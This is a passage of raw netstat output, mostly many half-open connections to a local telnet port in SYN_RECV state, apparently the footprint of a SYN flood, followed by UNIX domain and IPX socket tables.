tcp 0 0 localhost:telnet localhost:38148 SYN_RECV
tcp 0 0 localhost:telnet localhost:777 SYN_RECV
tcp 0 0 localhost:telnet localhost:12296 SYN_RECV
tcp 0 0 localhost:telnet localhost:37641 SYN_RECV
tcp 0 0 localhost:telnet localhost:36872 SYN_RECV
tcp 0 0 localhost:telnet localhost:18696 SYN_RECV
tcp 0 0 localhost:telnet localhost:2054 SYN_RECV
tcp 0 0 localhost:telnet localhost:32261 SYN_RECV
tcp 0 0 localhost:telnet localhost:12550 SYN_RECV
tcp 0 0 localhost:telnet localhost:9220 SYN_RECV
tcp 0 0 localhost:telnet localhost:51975 SYN_RECV
tcp 0 0 localhost:telnet localhost:32772 SYN_RECV
tcp 0 0 localhost:telnet localhost:59908 SYN_RECV
tcp 0 0 localhost:telnet localhost:60420 SYN_RECV
tcp 0 0 localhost:telnet localhost:57606 SYN_RECV
tcp 0 0 localhost:telnet localhost:9733 SYN_RECV
tcp 0 0 localhost:telnet localhost:3334 SYN_RECV
tcp 0 0 localhost:telnet localhost:18181 SYN_RECV
tcp 0 0 localhost:telnet localhost:31493 SYN_RECV
tcp 0 0 localhost:telnet localhost:52996 SYN_RECV
tcp 0 0 localhost:telnet localhost:6663 SYN_RECV
tcp 0 0 localhost:telnet localhost:36871 SYN_RECV
tcp 0 0 localhost:telnet localhost:52742 SYN_RECV
tcp 0 0 localhost:telnet localhost:9992 SYN_RECV
tcp 0 0 localhost:telnet localhost:52231 SYN_RECV
tcp 0 0 localhost:telnet localhost:58885 SYN_RECV
tcp 0 0 localhost:telnet localhost:52229 SYN_RECV
tcp 0 0 localhost:telnet localhost:17156 SYN_RECV
tcp 0 0 localhost:telnet localhost:8713 SYN_RECV
tcp 0 0 localhost:telnet localhost:29702 SYN_RECV
tcp 0 0 localhost:telnet localhost:26884 SYN_RECV
tcp 0 0 localhost:telnet localhost:48644 SYN_RECV
tcp 0 0 localhost:telnet localhost:28678 SYN_RECV
tcp 0 0 localhost:telnet localhost:29956 SYN_RECV
tcp 0 0 localhost:telnet localhost:14853 SYN_RECV
tcp 0 0 localhost:telnet localhost:46340 SYN_RECV
tcp 0 0 localhost:telnet localhost:17925 SYN_RECV
tcp 0 0 localhost:telnet localhost:31240 SYN_RECV
tcp 0 0 localhost:telnet localhost:46852 SYN_RECV
tcp 0 0 localhost:telnet localhost:51463 SYN_RECV
tcp 0 0 localhost:telnet localhost:1285 SYN_RECV
tcp 0 0 localhost:telnet localhost:42244 SYN_RECV
tcp 0 0 localhost:telnet localhost:23559 SYN_RECV
tcp 0 0 localhost:telnet localhost:45829 SYN_RECV
tcp 0 0 localhost:telnet localhost:54788 SYN_RECV
tcp 0 0 localhost:telnet localhost:36615 SYN_RECV
tcp 0 0 localhost:telnet localhost:5381 SYN_RECV
tcp 0 0 localhost:telnet localhost:58117 SYN_RECV
tcp 0 0 localhost:telnet localhost:33285 SYN_RECV
tcp 0 0 localhost:telnet localhost:26631 SYN_RECV
tcp 0 0 localhost:telnet localhost:37894 SYN_RECV
tcp 0 0 localhost:telnet localhost:57861 SYN_RECV
tcp 0 0 localhost:telnet localhost:25861 SYN_RECV
tcp 0 0 localhost:telnet localhost:29704 SYN_RECV
tcp 0 0 localhost:telnet localhost:10247 SYN_RECV
tcp 0 0 localhost:telnet localhost:34053 SYN_RECV
tcp 0 0 localhost:telnet localhost:51204 SYN_RECV
tcp 0 0 localhost:telnet localhost:54534 SYN_RECV
tcp 0 0 localhost:telnet localhost:5127 SYN_RECV
tcp 0 0 localhost:telnet localhost:11273 SYN_RECV
tcp 0 0 localhost:telnet localhost:3332 SYN_RECV
tcp 0 0 localhost:telnet localhost:63239 SYN_RECV
tcp 0 0 localhost:telnet localhost:37637 SYN_RECV
tcp 0 0 localhost:telnet localhost:13832 SYN_RECV
tcp 0 0 localhost:telnet localhost:41478 SYN_RECV
tcp 0 0 localhost:telnet localhost:51462 SYN_RECV
tcp 0 0 localhost:telnet localhost:15367 SYN_RECV
tcp 0 0 localhost:telnet localhost:51974 SYN_RECV
tcp 0 0 localhost:telnet localhost:24329 SYN_RECV
tcp 0 0 localhost:telnet localhost:4100 SYN_RECV
tcp 0 0 localhost:telnet localhost:28424 SYN_RECV
tcp 0 0 localhost:telnet localhost:46856 SYN_RECV
tcp 0 0 localhost:telnet localhost:3591 SYN_RECV
tcp 0 0 localhost:telnet localhost:18951 SYN_RECV
tcp 0 0 localhost:telnet localhost:19208 SYN_RECV
tcp 0 0 localhost:telnet localhost:56328 SYN_RECV
tcp 0 0 localhost:telnet localhost:27912 SYN_RECV
tcp 0 0 localhost:telnet localhost:10503 SYN_RECV
tcp 0 0 localhost:telnet localhost:28679 SYN_RECV
tcp 0 0 localhost:telnet localhost:32773 SYN_RECV
tcp 0 0 localhost:telnet localhost:15112 SYN_RECV
tcp 0 0 localhost:telnet localhost:32009 SYN_RECV
tcp 0 0 localhost:telnet localhost:34056 SYN_RECV
tcp 0 0 localhost:telnet localhost:64518 SYN_RECV
tcp 0 0 localhost:telnet localhost:40452 SYN_RECV
tcp 0 0 localhost:telnet localhost:42761 SYN_RECV
tcp 0 0 localhost:telnet localhost:29447 SYN_RECV
tcp 0 0 localhost:telnet localhost:49158 SYN_RECV
tcp 0 0 localhost:telnet localhost:60931 SYN_RECV
tcp 0 0 localhost:telnet localhost:27654 SYN_RECV
tcp 0 0 localhost:telnet localhost:37639 SYN_RECV
tcp 0 0 localhost:telnet localhost:41481 SYN_RECV
tcp 0 0 localhost:telnet localhost:43529 SYN_RECV
tcp 0 0 localhost:telnet localhost:36100 SYN_RECV
tcp 0 0 localhost:telnet localhost:22791 SYN_RECV
tcp 0 0 localhost:telnet localhost:10756 SYN_RECV
tcp 0 0 localhost:telnet localhost:8196 SYN_RECV
tcp 0 0 localhost:telnet localhost:24327 SYN_RECV
tcp 0 0 mindmeld.dyn.ml.or:smtp orava.funet.fi:2524 TIME_WAIT
udp 0 0 localhost:domain *:*
udp 0 0 mor-nj6-22.ix.netc:6667 *:*
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path
unix 1 [ ] STREAM 302
unix 1 [ ] DGRAM 360
unix 2 [ ] STREAM 21203 /dev/log
unix 2 [ ] STREAM 21209 /dev/log
unix 2 [ ] STREAM 22078 /dev/log
unix 2 [ ] STREAM 22398 /dev/log
unix 2 [ ] STREAM 24261 /dev/log
unix 2 [ ] STREAM 83428 /dev/log
unix 1 [ ] DGRAM 358 /var/lib/news/innd/control
unix 1 [ ] STREAM CONNECTED 165 @00000004
unix 1 [ ] STREAM CONNECTED 187 @00000005
unix 1 [ ] STREAM CONNECTED 294 @00000006
unix 2 [ ] STREAM CONNECTED 21202 @0000009c
unix 2 [ ] STREAM CONNECTED 21208 @0000009d
unix 2 [ ] STREAM CONNECTED 24260 @000000c4
unix 1 [ ] STREAM CONNECTED 351 @0000000b
unix 2 [ ] STREAM CONNECTED 22397 @000000af
unix 1 [ ] STREAM CONNECTED 348 @0000000a
unix 2 [ ] STREAM CONNECTED 83427 @0000035c
unix 2 [ ] STREAM CONNECTED 22077 @000000a9
Active IPX sockets
Proto Recv-Q Send-Q Local Address Foreign Address State
IPX 0 0 6EC5B8CD:000000000001:0040 -
IPX 0 0 6EC5B8CD:000000000001:5204 -
IPX 0 0 6EC5B8CD:000000000001:5304 -
IPX 0 0 6EC5B8CD:000000000001:0140 -
IPX 0 0 6EC5B8CD:000000000001:0240 -
IPX 0 0 6EC5B8CD:000000000001:5104 -
IPX 0 0 6EC5B8CD:000000000001:0340 -
IPX 0 0 6EC5B8CD:000000000001:0440 -
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